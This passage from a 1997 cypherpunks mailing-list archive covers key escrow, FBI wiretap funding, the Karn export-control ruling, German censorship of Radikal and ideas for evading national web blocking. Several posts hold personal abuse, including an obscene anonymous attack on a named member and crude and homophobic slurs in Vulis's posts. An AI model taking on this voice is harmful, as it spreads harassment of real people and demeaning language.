  > runners, kidnappers and child-pornographers are increasingly using 
  > encryption to conceal their plans and activities, the FBI says."

Lions and tigers and bears, oh MY!

  > He also mis-states opponenents of GAK positions, claimingthe 
  > criticism is that "key escrow [at least he doesn't call it key 
  > recovery] won't work all the time", ignoring anti-GAK mentions of 
  > COINTELPRO, J.Edgar Stalin^H^H^H^H^H^HHoover, etc. etc.

Actually, I thought he summed up the anti-GAK positions reasonably well,
though he didn't elaborate on them. The "it may not work all the time"
statement was actually an admission of the pro-GAK side. 

  > And the usual nonsense about "every day that criminal messages can
be 
  > heard is a gain" w/out noting that anyone smart enough to use crypto
  > now will not use it if GAK is fully implemented.

I found the logic questionable, but more disturbing was the fundamental
position that "loss of privacy [...] is a price that must be paid to
gain security".  Benjamin Franklin's statement about security and
freedom comes strongly to mind when I hear nonsense like this.  He then
cites the (in "our" view, useless and intrusive) hassles that airline
passengers must endure in the name of "security" as justification for
more of the same!  Talk about a slippery slope! 

  > Newsday is part of the LA Times Syndicate, so member papers may also
  > have the same viewpoint appearing in their pages within the next 
  > couple of days.

  > Their website is http://www.newsday.com ... I don't know if the 
  > viewpoint is on-line there.

It is, at http://www.newsday.com/mainnews/rnmi0522.htm

Pretty disappointing stuff, but then Mr. Kahn IS affiliated with the NSA
these days, isn't he?

Tunny
======================================================================
 James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
 Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
 tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
======================================================================
-----BEGIN PGP SIGNATURE-----
Version: 4.0 Business Edition
Comment: which I won in the PGP raffle at Cypherpunks 12/96...

iQEVAgUBMuZ1UvAmQsmyRPddAQFO/gf+Ikw8GScPo/+lr00lKvTnF7dZdEYhE8GC
bt7wu96a/4mE81261EwxqA8voI/y5T3RsUfZLeYsGX+wkuPyqK1QImO3A7O8PNnb
AvFitSaNsrMqyKTa7mI63TrvoBDCqtN3vYdDeSl6ZPHJmhHO5MF6xVoA56yeF5xf
h0ooejTgeYMOGMhf2faRCKU31AdFB+pjozxMo83X2ZrCzga8wiHeqlEEKWQnu1cJ
3jc+TVZnEI95idbQqeHvxh/BBRdprrPxBfncCb8wnXuLHxPmrsWGqfvMDpS06qhl
ZWEFChYLDGwsMokvcY+ZOZ6x4jlwssFGDXpflcdjFnPBp3yJKjU7fA==
=/siB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 22 Jan 1997 10:33:12 -0800 (PST)
To: rwright@adnetsol.com
Subject: Re: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <01IEII3EZEGW9AMSD7@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rwright@adnetsol.com"  "Ross Wright" 22-JAN-1997 02:52:34.76

>at [8]. Unlike the earlier draft, this essay lays out its assumptions
>and straightforwardly projects needed capacity growth. The result is
>a capacity figure of fewer than 60,000 intercepts, less that 4% of
>the original request. This level of capability would allow the FBI
>simultaneously to monitor more than 500 phone lines in an area with
>the population of Manhatta still an enormous increase on historical 
>numbers of intercepts.

[...]

>[8]  <http://www.cdt.org/publications/pp_3.01.html>

	Something that the CDT didn't point out was that basing wiretap
"requirements" on past growth makes two assumptions, both of them invalid:

A. Past wiretaps (& other probes, such as pen registers & tap-and-trace) were
all entirely justified; the growth in their use does not reflect either
use of them in situations they are not required for or use of them in
situations in which government has essentially failed and more resources
poured into the alleged "problems" (e.g., drug trafficing, money laundering,
and pornography) will do less than no good whatsoever.

B. The number of lines will go up at the same rate as the estimated growth
in wiretaps. In regards to this latter one, if they go up at a greater rate,
then the FBI will request expanded capacity; if they go up at a lower rate,
they will assuredly not request a decrease, and will thus ultimately have
the capablility to wiretap _all_ lines.

>Fuck the FBI.

	With a backhoe.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 22 Jan 1997 12:01:53 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Newt's phone calls
In-Reply-To: <199701212016.MAA11119@toad.com>
Message-ID: <199701222018.OAA01933@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Hallam-baker said:
> Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...
> 
> > GSM encrypts only the links to the station - the traffic goes in the
> > clear through the station.  Plus A5 (crypto algorithm used in GSM) is
> > weak, 40 bits of effective key space.
> > 
> > It could be worse to have poor crypto, than no crypto,
> 
> I disagree for two reasons, first there is a big difference between having
> poor locks and no locks. Most locks can be picked by an expert, they are
> effective against many theifs however.
> 
> Second if everyone in the world was using 40 bit email encryption it
> would prevent most of the "promiscuous" interception of communications.

    Third (as Mr. Vulis <insult deleted> observed) the jump from using poor 
crypto to using good crypto is a lot shorter than not using crypto to 
using good crypto. 

    Once people get it in there heads that crypto is good to use, then 
it is easier to convince them to use "unbreakable" crypto than to convince 
non-crypto-users.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 22 Jan 1997 12:36:59 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701211455.GAA06825@toad.com>
Message-ID: <199701222053.OAA02022@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Sprach The Thorn:
> Jane Jefferson wrote:
> Jane is showing signs of independent thought.  Tsk tsk.
> > fail, countries would instantly be absorbed by other countries, many
> > relationships based on love and trust would be destroyed.
> > And during that time, the deadliest person alive - the toughest and
> > the meanest, and the most effective in the face of all the chaos, would
> > not be the person who was capable of preserving their privacy. Rather,
> > it would be the one who was capable of surviving in it's complete absence.
> BTW, the suicide rate would not go ballistic, since the suicide rate

    No, but I bet the murder rate would.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 22 Jan 1997 11:57:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
In-Reply-To: <199701212027.MAA11310@toad.com>
Message-ID: <0mtb33200YUd0E_bM0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> Mission:
> 
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it? The Web
> was conceived as offering despots and dictators a choice 
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.
> 
> 
> Requirements:
> 
> A scheme which makes blocking of individual IP addresses 
> impractical.
<snip>
> Considerations:
> [i.e. areas needing brainstorming]
> 
> 1) Copyright. Clearly copyright holders such as CNN etc would
> need to be involved. Although proxies have long been a part of 
> the Web and the scheme does not threaten their interests it would
> be as well to get them on board at an early stage.

I believe that the new copyright regs explicitly allow web surfing.
Copyright should not be an issue, I think. IANAL.

> 2) How can one prevent the proxies themselves being blocked? Some
> ideas that come to mind:
> 
> 2a) Only issue new sites gradually so that blocking requires
> continuous updates.
> 
> 2b) Use DHCP to change network addresses regularly.
> 
> 2c) Some crypto hack I can't quite work out (hence the post to
> cypher punks). I can phrase the challenge more compactly though.
> We have two sets of opposed groups A and M. The A group wish to
> establish a continued conversation with groups B and C. M is 
> willing to permit communication with group B but not C. Whenever
> M discovers that a member of group B is willing to act on behalf 
> of group C, M transfers that member to the C group.
> 
> The problem is to keep A's channels of communication open despite
> the efforts of M for very large group sizes. 
> 
> I'm not sure if this is a pure crypto challenge or a game theory
> problem.

Secure connections from proxy to client would eliminate driftnet
scanning. That's probably about all the crypto.
One idea would to put /cgi-bin/redirect in all the distributions of
apache, apache-SSL, etc. That way, anyone who cared at all about
privacy or was clueless would have an anonymizer on their web server.
People who really cared could run web spiders that looked for sites
with the redirect, and have cgi-bins that returned a randomized list
of 10 or so. They could periodically post the list to semi-relavent
newsgroups.

The idea here is to reduce the chance of a denial of service attack
against the anonymizer pool. The points of attack that I can think of
are:
 1) Filter out out anonymized connections.
    Crypto helps solves this one. Of course, then the evil empire
    filters out crypto, but that's bad for business.
 2) Make the list of anonymizers dissappear
    This is a bit easier for the bad guys. Stego could help solve
    the problem, especially if combined with crypto. (i.e stego
    the list, encrypted with a few key underground folks public
    keys, into a pic of the great wall of china or something.
 3) Make it illegal to use anonymizers and enforec randomly.
    FUD. I dunno how to solve this one. Put anphetamines in the
    water supply?

> Comments? If people are willing to work on this I can provide 
> some facilities and act as a media contact.

Distribution wins.
(BTW, look at www.anonymizer.com)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

iQB1AwUBMuZwuMkz/YzIV3P5AQEb5gL/aOgddVJ91jtZUPrDcsnqdhOFpKLx1IAH
UMZi+HkdB+ZUsRhLxCSy0enpqxikwyFVOMINSr3uLRtYSIcuPK2JFdSACI79yISk
7oZWxwTO5TDMYtbBRAAZv/d9VyCT/EVE
=OIEP
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 22 Jan 1997 12:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <3.0.32.19970122152635.00a76270@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It might also be that David's year long sabatical at NSA's crypto museum 
which recently ended put him in touch with people who believe in GAK.

I found it interesting that he noted the argument that each additional
day of government access is a good thing.  This is the kind of belief
we know that NSA holds -- a.k.a. "not on my watch" -- but I haven't seen
it publicly admitted before.

 - Carl

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuZ35lQXJENzYr45AQEcfwQAqMftG0DXn1nr6faA6IHeAtqSXYanwnZb
DiwqppU4nJqPtIvtFw8eOVVwyYCzIv046dFtwR2mk8HeL1v8I3R2sWm7waknFjlm
TM84+vLamlVnBNPUAXRYOrFiEhPQm/iitR4GVrcga9mHJ+vrI38XQGzi0lxdg310
pWjq5Fxahag=
=xhF7
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Wed, 22 Jan 1997 13:43:33 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Manila says ID system not prelude to martial law (fwd)
Message-ID: <199701222143.QAA21639@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Reuters sez:
Message-ID: <Rphilippines-cardUR8Au_7JF@clari.net>

  	  				 
	 MANILA, Jan 15 (Reuter) - Philippine President Fidel Ramos  
on Wednesday dismissed as baseless fears that his order creating 
a national identification system was a prelude to martial law. 

	 ``That is a wild opinion without any basis in fact,'' Ramos  
told his weekly news conference after Cardinal Jaime Sin, the 
outspoken Archbishop of Manila, accused him of being 
authoritarian. 

{We're talking, therefore it's no threat..}

{Sin said it's immoral}  

{Opposition said could be used to monitor political activities,
that it was reminiscent of Marcos.}

	 Officials have said a computerised ID system whereby cards  
issued to citizens by state pension funds would carry reference 
numbers assigned to them for life would make it easier for 
people to transact business with the government and minimise 
fraud. 
	 ``That's all there is to it ... (its) very simple,'' Ramos  
said. 
  	   	


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Wed, 22 Jan 1997 15:00:28 -0800 (PST)
To: dccp@eff.org
Subject: Decision in Karn Case
Message-ID: <v03010d0daf0c4a51d120@[204.91.138.227]>
MIME-Version: 1.0
Content-Type: text/plain


We just received this today. This is in part good news that the appeals
court did not just affirm the lower court decision but on the other hand,
it doesn't give much guidance to the court.

A html version is up at:
http://www.epic.org/crypto/export_controls/karn_decision_1_97.html

Dave



-----------------------------------------------------------

             UNITED STATES COURT OF APPEALS

          FOR THE DISTRICT OF COLUMBIA CIRCUIT


No. 96-5121

Philip R. Karn, Jr.
   v.
U.S. Department of State

        On Appeal from the United States District Court
                 for the District of Columbia

    Before: Williams, Ginsburg, and Rogers, Circuit Judges

                     January 21, 1997

                         JUDGMENT

     In light of the recent Executive Order transferring
regulatory authority of non-military cryptographic computer
source code to the Commerce Department, and the Commerce
Department's promulgation of a new regulation under the authority
of the International Emergency Economic Powers Act, 50 U.S.C. secs.
1701 et seq., we remand this case to the district court to
consider the reviewability of and, if appropriate, the merits of
appellant's claim under the Administrative Procedure Act.
Because "basic tenets of judicial restraint and separation of
powers call upon [the court] first to consider alternative
grounds for resolution" when the court is asked to answer a
question involving the Constitution of the United States,
Lamprecht v. FCC, 958 F.2d 382, 389-90 (D.C. Cir. 1992), we
do not reach the constitutional issues raised by this appeal.

     The clerk is directed to withhold issuance of the mandate
herein until seven days after disposition of any timely petition
for rehearing. See D.C. Cir. Rule 41(a)(2). This instruction to
the Clerk is without prejudice to the right of any party at any
time to move for expedited issuance of the mandate for a good cause
shown.


                               Per Curiam
                               FOR THE COURT:

                                 /s/
                               Mark J. Langer, Clerk


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 22 Jan 1997 09:23:57 -0800 (PST)
To: tank@xs4all.nl
Subject: wired news: Germany Gets Radikal About Extremists on Web
Message-ID: <199701221716.SAA20795@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



T O P  S T O R I E S 

       Germany Gets Radikal About Extremists on Web Tuesday - Are the
       German government's tactics for barring extremist material on
       the Internet realistic?


   Germany Gets Radikal About Extremists on Web
   by Rebecca Vesely
   
   5:03 pm PST 21 Jan 97 - The German government, never shy about
   expressing its disdain for left- and right-wing radicals inside its
   borders, has taken to combing the Internet for signs of extremist
   activity.
   
   But Germany's effort to stop the distribution of terrorist manuals and
   Nazi propaganda is like pointing a fire hose at a beehive - instead of
   quashing the bees, it only scatters them, and makes them more
   insistent.
   
   Last week, German authorities filed charges against a member of the
   communist Party of Democratic Socialism (PDS), Angela Marquardt, for
   linking to the banned left-wing magazine Radikal from her homepage,
   causing Net activists to anticipate another incident like that last
   September, when several German ISPs temporarily blocked Radikal's
   server, XS4All. In response, the magazine was mirrored on more than 50
   Web sites around the world.
   
   "The decision to prosecute for linking to Radikal will probably bring
   yet another escalation of events, where this censored magazine will
   become all the more popular on the Net," said Felipe Rodriquez,
   managing director of XS4All, which is based in the Netherlands.
   "Censoring the Internet is usually very counterproductive, and an
   insurance that many people will mirror the information and start
   distributing it."
   
   XS4All, which describes itself as "networking for the masses," hosts
   some 4,600 homepages, and was recently in the news for posting several
   homepages for media banned in Serbia, such as Radio B92, that continue
   to offer via the Web live RealAudio feeds and frequent updates on the
   continued nationwide protests against the Serbian government.
   
   Banned in Germany 12 years ago, and published underground for the past
   decade, Radikal advocates the overthrow of the German government.
   German officials say the magazine's publishers provide terrorist
   information in their pages, including how to sabotage train lines. But
   the publishers argue that they have the right to publish material
   contrary to the German government.
   
   "We fundamentally reject the notion that the state has a monopoly on
   the legitimate use of force," the publishers wrote in an article
   titled "Who We Are" in 1995. "The existing social conditions can only
   be changed if left-radical groups and associations build up their
   abilities and structures so as to be able to counter some of these
   effects even today. This, of course, includes militant and armed
   intervention, but these would be empty gestures if there wasn't also
   some sort of linkage or means of conveying their message."
   
   While publishers continue to produce the magazine in print form
   outside of Germany, sympathizers have been posting it to a homepage on
   XS4All.
   
   "As an act of solidarity with them and with Radikal we decided to put
   it on the Internet and, of course, to frustrate this censorship
   attempt of the German authorities," the sympathizers wrote in an email
   to Wired News. They added that while they had no contact with the
   publishers of Radikal, they are currently being investigated by
   Germany's public prosecutor general and have no plans to "go on
   holiday in Germany."
   
   Although Radikal is not banned in the Netherlands, the German
   government says that linking to the magazine from inside Germany is
   "aiding a felony," spokesman Ruediger Reiff told Reuters. In December,
   Chancellor Helmut Kohl's Cabinet approved a bill banning the
   electronic distribution of forms of hate speech, terrorism, and
   indecent material. The new German law places responsibility on the
   loosely defined "suppliers," and in response, CompuServe considered
   moving its administrative operations to a neighboring country.
   
   PDS member Marquardt says her prosecution has less to do with Radikal,
   than an attempt to quiet German citizens who, like herself, are
   outspoken critics of the government.
   
   "This is hardly about bomb-building instructions or highly detailed
   descriptions of train lines and their weaknesses," Marquardt, who
   could not be reached for comment, wrote in a statement posted on her
   Web site. "The all-too-stubborn guardians of the state will quickly
   learn: The Net interprets censorship as a malfunction and circumvents
   it."
   
   In the meantime, XS4All has not received any official communication
   from the German Justice Department, nor from the Dutch Justice
   Department.
   
   "Our policy is that as a provider we are not in the position to judge
   whether this magazine is illegal in the Netherlands, therefore we do
   not interfere with the liberty of speech of our user," XS4All's
   Rodriquez said.
   
   
   
   
        Copyright =A9 1993-97 Wired Ventures, Inc. and affiliated companies=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 22 Jan 1997 16:31:06 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Airport security [no such thing]
In-Reply-To: <13Hy1D105w165w@bwalk.dm.com>
Message-ID: <199701230025.SAA05664@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > 	Would you like to share my blanket?
> > > Sure!  A true gentleman (like me) is always ready, willing, and able
> > 	I am very embarassed...
> > 	i think i am in trouble ;)
> 
> We better start encrypting stuff before we both get in trouble with Dr.MLV :-)

you mean, your mai lreading computer is physically secured?

> This reminds me of a story of one Sovok biology professor in Illinois.
> His wife got a boyfriend. In addition to having real-life sex, they also
> exchanged sexually explicit e-mail on AOL which she thought she erased.
> One day something went wrong with her computer and she asked the husband
> to fix it. He looked at the hard disk with Norton Utilities and saw 6
> months worth the erased e-mail, saying things like "I can still taste
> your whatever on my lips". Of course all the traffic was in Russian and
> it would have served as a "Navajo talk" encryption if it weren't for
> the fact that all 3 were Sovoks. 

Purebred? Just curious.

> The professor kicked the wife out, but
> her boyfriend is married, so she's all alone now.
> 
> This proves that the masses of normal heterosexuals should be educated
> and encouraged to use encryption, not just some homosexual "elite".

The problem is that one of the partners is often too stupid to use PGP.

That is very annoying. Not that any of the contents of my hard disk
are that sensitive, but under linux I run my wipedisk program two times
every night. just another cron job.

But think about this: suppose there is a couple, bob@household.com,
and alice@household.com. Suppose that Rev. Mallory does not like bob.
Mallory forges a lot of emails like "I can still taste your sperm
on my lips", that appear to originate from Cindy@phonesex.org.

Then, promptly, Mallory sends an anonymous alert to alice@household.com, 
warning her about naughty email activities of bob. Alice gets mad at him
and divorces him.

How would bob protect himself against such developments?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 16:02:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701220355.TAA17584@toad.com>
Message-ID: <13Hy1D105w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

>
> On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > >
> > > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > >
> > > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > > >
> > > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > > >
> > > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > > > I say we make people fly naked and ship their stuff via U
> > > > > > > >
> > > > > > > > > >     >>shudder<<
> > > > > > > > > >     No!. A clear case of the cure being worse than the dise
> > > > > > > >
> > > > > > > > > Why. it might be fun - those long flight can be so boring wit
> > > > > > > >
> > > > > > > > This one I really don't understand.  Cypherpunks lobbied heavil
> > > > > > > > the Final Solution to Spamming and flaming, now along comes the
> > > > > > > > solution to the airport security problem, and nobody's gonna go
> > > > > > > >
> > > > > > > > Guess those old, out-of-shape guys don't want anybody laughing
> > > > > > > > Besides, they can put all the clothes in the same plane's bagga
> > > > > > > > compartment.  And planes have those little blankets and pillows
> > > > > > > > so what's the problem?
> > > > > > >
> > > > > > > 	Cold temps...
> > > > > >
> > > > > > What can naked people do to keep warm???
> > > > >
> > > > > 	steal blankets from nearby passenger..
> > > >
> > > > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > > > and everybody was supposed to work naked so it would be hard to steal
> > > > some of the product. Of course in the movie all the employees were good
> > > > looking women (Oksas would have been the big star!).
> > >
> > > 	Thank you for the complement;  You've only seen me with clothes :)
> >
> > I can tell.
> >
> > > 	Would you like to share my blanket?
> >
> > Sure!  A true gentleman (like me) is always ready, willing, and able to sha
> > a security blanket with a lady.
>
> 	I am very embarassed...
> >
> > "Something nekkid's in the air!"
> >
> 	i think i am in trouble ;)

We better start encrypting stuff before we both get in trouble with Dr.MLV :-)

This reminds me of a story of one Sovok biology professor in Illinois.
His wife got a boyfriend. In addition to having real-life sex, they also
exchanged sexually explicit e-mail on AOL which she thought she erased.
One day something went wrong with her computer and she asked the husband
to fix it. He looked at the hard disk with Norton Utilities and saw 6
months worth the erased e-mail, saying things like "I can still taste
your whatever on my lips". Of course all the traffic was in Russian and
it would have served as a "Navajo talk" encryption if it weren't for
the fact that all 3 were Sovoks. The professor kicked the wife out, but
her boyfriend is married, so she's all alone now.

This proves that the masses of normal heterosexuals should be educated
and encouraged to use encryption, not just some homosexual "elite".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 22 Jan 1997 18:19:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital signatures
Message-ID: <199701230219.TAA01249@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[unt] May was born when his mother was
on the toilet.

   \\\|||///
    =======
   | O : O | Timmy C[unt] May
    \`_^_'/
     _|^|_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 17:01:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fascist cocksuckers: 0, Freedom of speech: 1
In-Reply-To: <199701221210.EAA23235@toad.com>
Message-ID: <qLky1D107w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic <ott0matic@hotmail.com> writes:
> >> John Young wrote:
> >> >  Governments in China, Burma and
> >> >  Singapore have already tried to discipline this on-line activity with
> >> >  minimal success.
> >>
> >>   Do you have any pointers to information in regard to this, or are you
> >> just being a goddamn tease?
> >
> >For example, the fascist cocksuckers Sandfart and Geekmore have been
> >totally impotent in their failed attempts to suppress free speech.
> >
> >Gilmore's as inept as the governments of China, Burma and Singapore combined
> >
> >        FUCK CENSORSHIP.  FUCK EFF (EFFEMINATE FASCISTS FOUNDATION).
> >
> >---
> >
>
> Seems as if you've been censored!  Bummer, dude!

Yes.  I'm sure Sandy Sandfart is having a good time censoring his betters.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 17:01:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
In-Reply-To: <199701221225.EAA23456@toad.com>
Message-ID: <ePky1D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic <ott0matic@hotmail.com> writes:

> >From cypherpunks-errors@toad.com Tue Jan 21 16:57:46 1997
>
> >"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> >
> >> Mission:
> >>
> >> Singapore and China are blocking certain net groups. I think
> >> this is a bad thing, question is how can we stop it? The Web
> >> was conceived as offering despots and dictators a choice
> >> between remaining in the dark ages and allowing freedom of
> >> speech. Blocking and filtering schemes threaten this ideal.
> >
> >Phil, when I saw the subject, I thought this was another article
> >condemning Gilmore, Sandfort, and their disgraceful censorship.
>
> What's up with this one getting censored?  You didn't say cocksucker or fuck
> anything?

Alles Kriticismus auf der Listfuehrer Gilmore und Obercensor Sandfart
ist stricklich verbotten.  Heil Kocksucker Gilmore!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 22 Jan 1997 17:33:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701230140.TAA08628@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Jan 1997 03:16:00 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> Jim Choate wrote:
> > 'We' shouldn't, it is their own country and it is up to their populace to
> > stop it. Do you really want Singapore or China having a say in how we run
> > our web? I certainly don't, and won't support any move to force any
> > particular view on them.
> 
>   And Germany was Hitler and the Nazi Party's own country.

And your point is? Are you equating a specific individual or organization
with Hitler or the National Socialist?

>   Do you really want Clinton and GingWretch having a say in how we run
> our

No, and I have a vote to express that sentiment with and a 'press' (ssz.com)
by which I may express my views irrelevant of how that vote may resolve
itself. If the people in those counties want to give away their freedom that
is their business (and right), not mine, yours, or this countries unless
there is evidence they are trying to take their views and impose them here.

Do you have said evidence? In reference to Hitler, had he stayed in his own 
country WWII and the ensuing half century of conflict would most likely not
have occured.

I say, let them filter themselves into economic collapse, intellectual
nihilism, and political suicide. Suicide, assissted or otherwise, is a right
any and all individuals have whether acting as individuals or as groups.
Remember Masada!

Never forget, a tree can exist without a forest but a forest can not exist
without trees. It is a one way street however much some people may want to
convince us otherwise.

>   It may be 'their' country ('their' being the government), but it is 
> 'their' world ('their' being the people).

A goverment is people. This reminds me of the argument of the sanctity of
law that so many people have. It is only ink on paper that people agree to
go along with until they get their fill. Consider, history is full of
examples of this process and with California and Massachusettes move on
legalizing medical marijuana we may be seeing the first move of a return to
states being much more adament on what they can and can't do (per the 9th and
10th).

> There was a reason that the 
> Western powers didn't return East Germans who broke the laws of their
> country by climbing over the wall and running for freedom.
>   Making information available does not 'force' a view on anyone.

If those people agree to support a system that limits or controls what
information they get to see that is their choice. It didn't work in Russia
and it won't work in Singapore or China any better. If the US were to
continue to press forward on oppressive legislation and the people don't do
anything actively to fight it the same thing will happen here, economic
collapse which forces a political collapse. However, we won't get there
because the more the government employees and officials 'crack down' the
more resistance they will get. You can fool most of the people some of the
time, some of the people most of the time, but you can't fool all the people
all the time.

The key to democratic success is not compromise but rather the unwillingness
to compromise.

> > Bull, the web was conceived so physicist and other researchers could share
> > data in a easily digestible format. 
> 
>   No. The internet was conceived so that the DOD could monitor the
> communications
> of physicists and researchers who thought it was awfully nice of the
> government
> to provide this wonderful method of sharing data and information.

The Web does not equal the Internet, straw man argument. The original goal
of the Internet was to allow computers to be connected in a nuclear conflict
and the period afterward when communications would be most critical. How
people may have bastardized it since then does not change the original
reasons (unless you accept revisionist history as a valid endeavour, I don't).

One of the biggest problems this country has right now is the inability of
people like yourself to differentiate the difference between the ideals of
the country and the people who impliment it. The problem is not the
government or the ideals it was founded on but rather the way we impliment
it. Our government is people, who put their pants on the same way you or I
do (assuming you wear pants that is). They are not inherently some mineon of
Hell, they are people who in general either don't give a damn and it's just
